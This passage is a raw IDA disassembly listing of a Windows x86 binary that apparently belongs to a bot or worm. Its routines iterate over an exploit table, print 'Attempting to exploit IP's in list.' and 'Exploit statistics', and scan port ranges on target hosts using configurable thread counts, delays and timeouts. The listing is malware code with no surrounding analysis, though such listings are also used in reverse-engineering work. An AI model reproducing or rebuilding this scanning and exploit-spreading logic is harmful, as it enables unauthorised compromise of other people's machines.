[ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte_41CD80[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CF54 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41D000 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp off_41CDAE[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_47C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CD80 mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CFD0 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CF8C lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, byte_41CD80[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push dword_41CDAA[eax] push offset dword_41D054 lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and dword_41CDAA[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D100 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D0C8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D098 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D130 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D1A0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call dword_41709C ; Sleep loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 ; clock mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D18C lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 ; clock sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D150 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D1E8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; 